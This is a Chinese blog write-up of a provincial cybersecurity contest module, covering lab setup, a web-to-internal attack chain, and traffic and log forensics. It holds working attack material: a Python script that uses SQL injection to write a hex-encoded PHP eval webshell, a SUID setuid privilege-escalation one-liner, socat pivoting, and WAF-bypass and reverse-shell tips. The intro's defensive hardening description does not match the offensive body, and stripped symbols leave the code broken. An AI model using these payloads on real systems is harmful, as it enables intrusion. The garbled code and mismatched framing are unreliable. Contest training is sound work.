省赛A模块实战复盘:从Web渗透到内网横向的完整攻击链

📅 发布时间:2026/10/6 6:30:49
省赛A模块实战复盘:从Web渗透到内网横向的完整攻击链
简介广东省第三届职业技能大赛世界技能大赛选拔赛网络安全赛项A模块赛题面向网络安全技能竞赛选手、职业院校师生及备赛指导人员重点还原“企业基础设施安全”真实考核场景。资源包共1个文件为PDF文档大小约1.02MB内容包含竞赛项目简介、任务描述、竞赛说明、所需设施设备与材料、评分方案以及完整的竞赛项目工作任务模块。任务模块覆盖基本配置验证、网络设备加固、分支机构间通信与远程访问策略、公共服务保护、安全审核策略配置、Windows域配置、登录及密码策略配置、防火墙策略等具体考核点能帮助读者按正式赛题流程搭建演练环境逐项对照评分标准复核操作。目前已有715人浏览学习适合希望熟悉世界技能大赛选拔题型、强化企业基础设施安全配置细节的中高级网络安全备赛者使用。1. 省赛A模块到底是什么一场限定时间内的红队攻防演练广东省第三届职业技能大赛网络安全赛项的A模块本质上不是考试而是一张带时限的“攻击路径图”。它把真实网络环境中可能遇到的渗透环节——端口探测、Web漏洞利用、主机提权、内网横向、日志痕迹处理——压缩到一个可控的靶标环境里要求你在4到6小时内完成指定任务并提交flag。对第一次接触这类赛题的人最容易误判的是它的考察方式它不考你背了多少CVE编号而是考你在面对一台陌生主机、一套陌生Web系统时敢不敢下手、会不会兜底、能不能在规定时间内把链走通。这个模块适合两类人一类是准备打省赛、国赛的选手你需要知道A模块的判分逻辑和踩分点另一类是刚学完网络安全基础、想用一场模拟实战检验自己能力的人A模块就是最接近真实工作场景的靶场练习。更直接地说A模块考察的是你“一个人在战场上能不能活下来并达成目标”的能力。它不看你用什么工具不限制你用什么脚本甚至允许你提前准备工具包但时间不等人。所有任务都是顺序依赖的——拿不到Webshell就没法读数据库读不了数据库就凑不齐flag。这就决定了做这个模块不能靠临场发挥必须有一套固定的方法论。2. 把赛题环境搬进本地VMware关基靶场的最小搭建步骤比赛结束后想复现赛题第一步不是找答案而是把靶场环境还原出来。省赛A模块的靶标通常是3到5台虚拟机组成的隔离网络包含一台边界Web服务器、一台应用服务器、一台数据库主机或内网工作站。这种结构对应的是真实的“关基”系统——对外提供Web服务、对内保留敏感数据中间有防火墙规则隔开。复原这个环境不需要太高配的机器但网络配置必须提前规划。2.1 用虚拟网络编辑器搭建隔离网段本地复现时我一般不用物理路由器直接用VMware的虚拟网络编辑器划分两个网段模拟外网的VMnet2和模拟内网的VMnet3。VMnet2放置边界Web服务器和攻击机VMnet3放置数据库主机和内网工作站边界服务器配置双网卡做路由转发。# vmnet.conf 示例为VMware虚拟网络添加静态路由 switchVMnet2 hostIP192.168.100.1 subnet192.168.100.0 netmask255.255.255.0 switchVMnet3 hostIP192.168.200.1 subnet192.168.200.0 netmask255.255.255.0逻辑说明VMnet2的网段是192.168.100.0/24VMnet3是192.168.200.0/24宿主机的IPv4地址分别落在两个网段的.1。这样配置的目的是把攻击流量限制在虚拟网络内部避免影响宿主机同时让内网主机不能直接访问外网——除非通过边界服务器的转发。参数说明hostIP是虚拟网卡在宿主机上的IPsubnet和netmask决定了网段的可用范围。如果比赛给的靶机IP是10.10.10.x或者172.16.x.x你只需改这三项即可不用动其他配置。2.2 三分法快照策略每个阶段留一个后悔药打比赛和平时练靶场有个最大的不同——比赛环境不允许重启。但本地复现时系统破坏了大不了恢复快照这个优势必须用足。我习惯在三个时间点各打一个快照刚导入虚拟机时的“初始化快照”、完成环境网络配置后的“网络就绪快照”、拿到首次Webshell后的“突破快照”。搭建靶机的过程有个常见翻车点每台机器用一样的快照名导致恢复时搞不清恢复到哪个阶段。建议用时间戳加阶段命名比如init_20250120、net_ready_20250120、webshell_first_20250120。恢复快照的命令行可以用vmrun但GUI操作更直观。注意快照不是备份它依赖虚拟磁盘的文件状态打完快照后继续做高危操作前先确认快照已生成完毕再动手否则磁盘占满时快照会失败这种情况等于没有后悔药。2.3 环境验证用一条命令确认网络链路通没通环境搭完不能直接开打先跑一轮连通性验证。攻击机到边界服务器、边界服务器到内网主机、攻击机到内网主机理论上不通这三条链路的预期状态要测出来。# 网络链路验证脚本适用于Linux攻击机 for ip in 192.168.100.10 192.168.100.20 192.168.200.10; do ping -c 2 -W 2 $ip /dev/null 21 if [ $? -eq 0 ]; then echo [] $ip 可达 else echo [-] $ip 不可达 fi done逻辑说明-c 2表示发送两个ICMP包-W 2表示每个包等待2秒超时。192.168.100.10是边界Web服务器外网卡192.168.100.20可能是OA系统主机192.168.200.10是内网数据库主机。预期结果是前两个可达、最后一个不可达如果数据库主机也能ping通说明防火墙规则没生效需要检查边界服务器的iptables或者路由表。参数说明Wait超时时间我习惯设为2秒太短会导致设备启动慢时报不通太长会拖慢整个验证流程2秒在虚拟化环境够用。3. Web到主机的完整攻击链A模块高频考点的实操复盘A模块的任务设计通常遵循一条清晰的主线先找Web入口再拿Webshell然后通过数据库读敏感信息最后提权到管理员权限。这条链路的每一跳都有一个或多个flag有的是命令执行的回显有的是数据库里的特定字段。常见做法是赛题会给你一个初始IP和一个账号密码让你从Web系统开始一步步深入。不要指望跳步——虽然有时候能通过未授权接口直接拿数据但必须留出时间处理那些绕不过去的主机提权题。3.1 信息收集的30分钟法则只做能影响下一步的动作很多选手栽在信息收集阶段——扫描器开了一堆报告输出几百页最后真正能用的只有三五个点。我一般给自己定30分钟最多一小时只做四件事# 渗透初期的信息收集脚本目标快速定位高价值端口和路径 nmap -sS -sV -T4 -n -p 80,443,8080,8888,3306,6379,22 192.168.100.10 # 识别Web中间件和常见后台路径 whatweb http://192.168.100.10/ dirsearch -u http://192.168.100.10/ -e php,html,jsp,txt -t 5 --exclude-status403,404参数和路径说明-sS是TCP半开扫描速度比全连接快适合比赛环境-sV探测服务版本。端口列表里90%的比赛考点集中在80/443/8080Web、3306/6379数据库与缓存、22SSH。dirsearch的-e指定探测的后缀名--exclude-status过滤无效状态码。加上-t 5限制线程避免靶机被扫崩。这里有个反直觉的事实A模块的信息收集重点不在端口而在“路径”。比赛方经常把后台登录页放在/admin123、/api/console这样不寻常的位置你扫不出来就进不了系统。我见过太多人盯着nmap结果分析半天却忽略了去看robots.txt和前端js文件里的接口路径。所以dirsearch是必须跑的而且指定字典时优先挑那种带小写字母加数字组合的路径字典命中率更高。3.2 SQL注入到写文件一把梭的完整链路Web系统常见的突破方式是SQL注入。但很多人注入到一半就卡住了——拿到数据了但没法转成命令执行。这里的关键不是怎么注入而是注入之后怎么把数据能力转换成命令执行能力。最常见的路径是MySQL注入堆叠注入INTO OUTFILE写Webshell。# 通过SQL注入写Webshell的python示例基于requests import requests target http://192.168.100.10/api/query.php payload 1; SELECT 0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e INTO OUTFILE /var/www/html/shell.php;-- r requests.post(target, data{id: payload, submit: 查询}) print(r.status_code, r.text[:200]) # 之后拼接访问验证 shell_url http://192.168.100.10/shell.php verify requests.post(shell_url, data{cmd: whoami}) print(verify.text)逻辑说明0x3c3f706870206576616c28245f504f53545b27636d64275d293b3f3e是?php eval($_POST[cmd]);?的十六进制编码这样可以避免SQL语句里的引号冲突。OUTFILE路径写到Web根目录比赛常见Web根目录是/var/www/html或/usr/share/nginx/html。参数说明requests的post里数据要用字典格式键名必须对应后端接收参数的字段名比赛时抓包确认一下提交方式有的接口是GET传参。写完之后必须验证两条一是OUTFILE是否成功看响应包里有没有SQL错误路径写错会报file already exists或Permission denied二是Webshell是否能连上。这里有个常见坑——MySQL的secure_file_priv参数如果被配置成NULLOUTFILE就会静默失败报错并不明显。遇到这种情况先执行SELECT secure_file_priv;看看返回结果如果是NULL就换路径或换注入方式。3.3 三种提权路径的优先级判断拿到Webshell只是第一步A模块的flag有一半藏在root权限才能读的文件里。提权题的判断有个优先级先内核漏洞再SUID配置错误最后计划任务这三个方向最短路径的时间期望不同。内核提权可能一发入魂但也可能直接把系统打成宕机SUID提权稳定但要求你能上传编译好的二进制计划任务提权则需要等待触发时间。# 提权方向探测一条命令摸清系统情况 uname -a; id; sudo -l; ls -la /etc/crontab find / -perm -4000 -type f 2/dev/null | head -20逻辑说明uname -a看内核版本对应查已知CVEsudo -l看当前用户是否有sudo权限但需要密码ls -la /etc/crontab看系统计划任务重点找/tmp或Web目录下可写路径有定时执行。SUID的find命令用来找所有带suid位的可执行文件优先看/usr/bin下的常见提权目标比如find、python、perl。参数说明-perm -4000匹配suid位-type f只找普通文件2/dev/null丢弃权限报错。比赛环境里/usr/bin/python如果带suid位直接可以python -c import os; os.setuid(0); os.system(/bin/bash)提权这是最稳妥的一条路。但如果这个命令执行后没有返回root不要把时间耗在反复试SUID上及时切到内核漏洞方向。3.4 数据库主机突破从Web应用服务器到DB的横向移动A模块的数据库主机通常放在内网不对外开放端口。拿到Web应用服务器的权限后需要考虑怎么访问数据库。最直接的路径是复用Web应用配置里的数据库账号——在Webshell里直接cat配置文件找到database.php或.env文件里面有DB_HOST、DB_USER、DB_PASSWORD。然后利用Web应用服务器做跳板通过socat或ssh建立隧道。# 利用socat将内网数据库端口映射到跳板机本地 socat TCP-LISTEN:3306,fork,bind0.0.0.0 TCP:192.168.200.10:3306 # 然后在本地用mysql客户端直连 mysql -h 192.168.100.10 -P 3306 -u appuser -p逻辑说明第一条命令在Web应用服务器上启动socat监听3306端口接到的连接转发给内网数据库主机的3306。这样攻击机访问Web应用服务器的3306就等效于访问内网数据库。参数说明fork参数让socat能处理多个并发连接不写这个参数的话一个连接断开后socat就会退出。bind0.0.0.0是监听所有接口如果只写127.0.0.1你就只能用Web应用服务器本机访问攻击机跑不通。这种隧道方法在比赛里非常实用而且不太会被检查出来——因为端口本身就是数据库端口不涉及新开高危端口。4. 流量分析与日志溯源A模块抢分类的另一个战场很多人把网络安全赛项等同为纯攻防实际上A模块有一大类任务是“事后分析”给你一份抓包文件或者一堆日志让你找出攻击者的行为轨迹、还原被窃取的数据、提交对应flag。这类题目在省赛里占分比例不低而且相比攻击题它有一个优势——不需要碰环境不会因为操作失误把靶机搞挂。做这类题核心就四个字寻迹、还原。4.1 用Wireshark过滤语法定位攻击行为拿到capture.pcapng类型的题目第一步不是打开看每条包那会看到手麻。先看统计信息再按协议分组过滤。攻击者的行为通常集中在三种流量HTTP请求中的异常路径、DNS查询中的异常域名、TCP连接中的异常大包。# 用tshark快速提取HTTP请求中的URI和User-Agent tshark -r capture.pcapng -Y http.request -T fields -e http.request.uri -e http.user_agent | head -50 # 提取TCP会话中数据量最大的前10个连接可能对应文件下载 tshark -r capture.pcapng -q -z conv,tcp | sort -k 6 -rn | head -10逻辑说明-Y是显示过滤表达式http.request只看请求包-T fields自定义输出字段这里提取了URI和UA。-q -z conv,tcp会输出tcp会话的统计数据sort -k 6 -rn按字节数倒序排序前几个会话通常就是下载关键文件的连接。参数说明-r后面可直接接绝对路径的pcap文件tshark版本差异会影响字段名但http.request和http.user_agent在Wireshark 3.x和4.x都是稳定的。找到可疑会话后下一步是导出对象。在Wireshark GUI里用文件-导出对象-HTTP可以把POST上传的文件和GET下载的文件全部倒出来。比赛里经常藏着一个可执行木马或者一张包含flag信息的图片直接导出就能看到。如果是导出图片记得先看尺寸和文件尾部的附加数据攻击者喜欢把flag藏在图片末尾的附加字节里。4.2 日志分析的三板斧登录爆破、Webshell调用、时间线拼接日志题给的不一定是pcap可能是日志文件目录结构。常见的有Apache access.log、MySQL慢查询日志、Linux auth日志。分析逻辑是先看登录失败的次数和时间段再看Web日志中异常POST请求最后把两个时间线拼起来。# 统计auth日志里的Failed password来源IP grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -rn | head # 统计access.log里POST请求次数最多的IP和路径 awk $6 \POST /var/log/apache2/access.log | awk {print $1} | sort | uniq -c | sort -rn | head -10逻辑说明第一段命令处理auth日志$(NF-3)取倒数第4个字段在Debian系auth日志里这个位置是来源IP——格式不同时字段位置会变保险起见可以先tail -5看一眼实际结构。uniq -c统计次数sort -rn按数字倒序。第二段命令先筛出POST请求再统计IP。参数说明awk字段位置不能照抄必须根据实际日志格式调整这是最容易翻车的地方。日志分析最有价值的产出是攻击时间线——哪一分钟扫端口哪一分钟上传webshell哪一分钟执行命令。把日志里关键行为按时间排序能直接对应上题目里问的“攻击者的IP是什么”“webshell的路径是什么”。做法是用grep在access.log里找eval、cmd、upload这些关键词把命中的行整行保留再按日期排序输出。4.3 恶意流量可视化思路把攻击链变成一条可识别的线现在的高级攻击流量单纯看单条请求很难发现异常因为攻击者会在每个阶段用不同的工具链让单包特征“看起来都正常”。这时候需要用恶意流量可视化检测系统的思路——把时间窗口内的连接关系画成图看谁跟谁在什么时候通信、传了多少数据。自己搭可视化不现实但tshark可以做轻量化的聚合展示。# 按目标和端口聚合对话输出源IP、目标IP、端口、包数 tshark -r capture.pcapng -q -z endpoints,tcp | grep -v 0.0.0.0 | head -30 # 按时间窗口统计流量体积找出流量突刺对应数据传输或扫描 tshark -r capture.pcapng -q -z io,stat,10逻辑说明endpoints,tcp把所有TCP端点按IP统计能快速看到哪个IP的对外连接数特别多——多到离谱的IP基本就是扫描器。io,stat,10按10秒间隔统计流量攻击动作发生时流量会突然跳高这个突刺的位置就是后续要深挖的时间段。参数说明时间窗口10秒适合短时间抓包如果pcap是几小时级的把间隔改成60或300秒再跑一次。可视化不是目的目的是定位——你不必真的画拓扑图只要知道哪个IP在哪个时间段干了什么就能反推攻击路径。5. 避坑指南A模块比赛中最常见的5个翻车现场比赛考察的是综合能力翻车往往不在技术上而在习惯上。下面这5条每一条我都见过不下三次写出来让你少走弯路。5.1 快照没打一键把靶机搞崩现象用sqlmap跑注入时靶机数据库服务直接挂掉页面打不开但比赛不允许重启环境整道题的flag拿不到了。原因sqlmap默认并发太大靶机资源有限或者注入时用了--drop这种危险参数把数据表删了。比赛环境做了保护但资源限制非常狠。解决比赛场地可以打快照入场后有初始化阶段先看操作手册是否允许。允许就先打快照不允许就在攻击时控制节奏sqlmap加--threads 1所有批量扫描工具限制并发尽量用手工验证代替全量扫描。5.2 数据库密码爆破成功但连不上现象爆破出MySQL口令是root/123456但mysql客户端报“Host not allowed to connect”。原因MySQL用户表里限定了hostroot只允许localhost登录只允许appuser这个账号从192.168.100.20登录你的攻击机IP不在白名单里。解决不走MySQL协议改用Web应用服务器做跳板用socat隧道连或者在已经拿到的Webshell里直接用本地mysql客户端因为localhost是允许登录的。不要耗时间去改MySQL的user表比赛中通常没有权限做这种改动。5.3 流量包解出来是加密流量现象pcap里的HTTP请求全是密文看不出任何攻击行为也没有flag字段。原因流量是HTTPS或SSH封装的Wireshark不加载密钥文件就无法解密。解决先看pcap里有没有key日志文件比赛经常把sslkeylog.log放在同一目录下在Wireshark里设置编辑-首选项-Protocols-TLS-(Pre)-Master-Secret log filename。如果没给key就看证书握手阶段的ClientHello里的SNI字段SNI能暴露攻击者访问的域名。5.4 拿到了webshell但执行命令没回显现象上传了php一句话木马用蚁剑连接提示成功但是执行命令没有输出请求超时。原因Webshell的代码被WAF或安全组件拦截了部分函数system、exec被禁用了。解决禁用system等命令执行函数但pcntl_exec或PHP的proc_open不一定禁用。换用可绕过的方式拿一个交互式shell常见做法是利用Web应用服务器自带组件比如Laravel的tinker或者找一个文件上传点直接上传可交互的php-reverse-shell脚本。如果这些都不行总能通过数据库into outfile写出一个新的一句话木马这次用assert加调用链的方式绕过。5.5 最后一个flag在主服务器上但权限不足现象已经拿到数据库内容find发现了最后的flag文件但读取时权限不够提权又不顺利。原因flag文件属于root而你只提权到了www-data对应的普通用户组。解决先读/etc/passwd和/proc/sched_debug里的进程信息看看有没有root启动的定时任务脚本检查/var/spool/cron的属主最关键一步是用find / -writable -type f 2/dev/null找有没有可写的root属主文件如果有一个root拥有的可写脚本正在被定时执行直接改脚本反弹root权限。这是A模块主机题的最后一张底牌。6. 冲奖训练路线从每周一赛到漏洞利用脚本沉淀想在这个方向上拿名次光靠赛前突击不够必须把训练常态化。核心是“三件事循环”每周打一场模拟赛、每次赛后写复盘、定期把重复的工作沉淀成脚本。每周的模拟赛优先级最高。国内很多线上平台有定期举办的CTF比赛可以直接当训练场。模拟赛的靶场环境可能和正式赛不完全一样但攻击思路是一样的——信息收集、Web渗透、提权、横向。打完比赛当天就写复盘重点记录三个问题卡在哪个环节、为什么卡住、下次遇到同类问题应该用什么工具。复盘不要求写长文直接写在Markdown里按日期命名文件积累三个月后你会拥有一份自己的“错题本”。工具层面建议提前准备一套属于自己的“工具箱目录”而不是等比赛时临时下载。Windows侧用蚁剑做Webshell管理、Burp Suite做Web流量改包、Wireshark做流量分析Linux侧准备nmap扫描、dirsearch目录探测、gobuster子域名枚举、rsocat端口转发。所有工具的版本提前锁定不要每次更新比赛机器的环境和你本机不一致时优先用你熟悉的版本。脚本沉淀这块是拉开差距的地方。每道题解法里重复出现的动作都可以写成脚本。比如把“读配置文件里的数据库口令”这种动作写成一个Python脚本传入Web根目录路径自动扫描常见的.env、config.php、database.yml文件并输出其中的敏感字段。这看似笨功夫但在比赛里省出的时间是实打实的。最后一条习惯比赛前一晚不看新题不学新技术只翻自己的复盘笔记和工具箱清单。把工具箱按“信息收集、Web渗透、提权、横向、流量分析”分类每一类里放最常用的一两个工具和对应的命令示例。真正到了比赛现场你会发现自己80%的操作都是条件反射那些没见过的题才是真正拉开差距的地方但前提是你得把前80%的题目快速做完留出足够的时间。还有一条更现实的建议去了解“src网络安全挖洞平台”的打法逻辑很多比赛题目就是从这些平台的众测漏洞里抽象出来的。平时在合法授权的前提下去平台上看真实系统的漏洞报告琢磨漏洞是怎么被发现的、怎么利用的比刷一百道基础题都有用。网络安全的学习路线不应该是一条只看书的路径而是一条不断复现、不断打破自己假设的路径。希望帮到你比赛场上见真章。本文还有配套的精品资源点击获取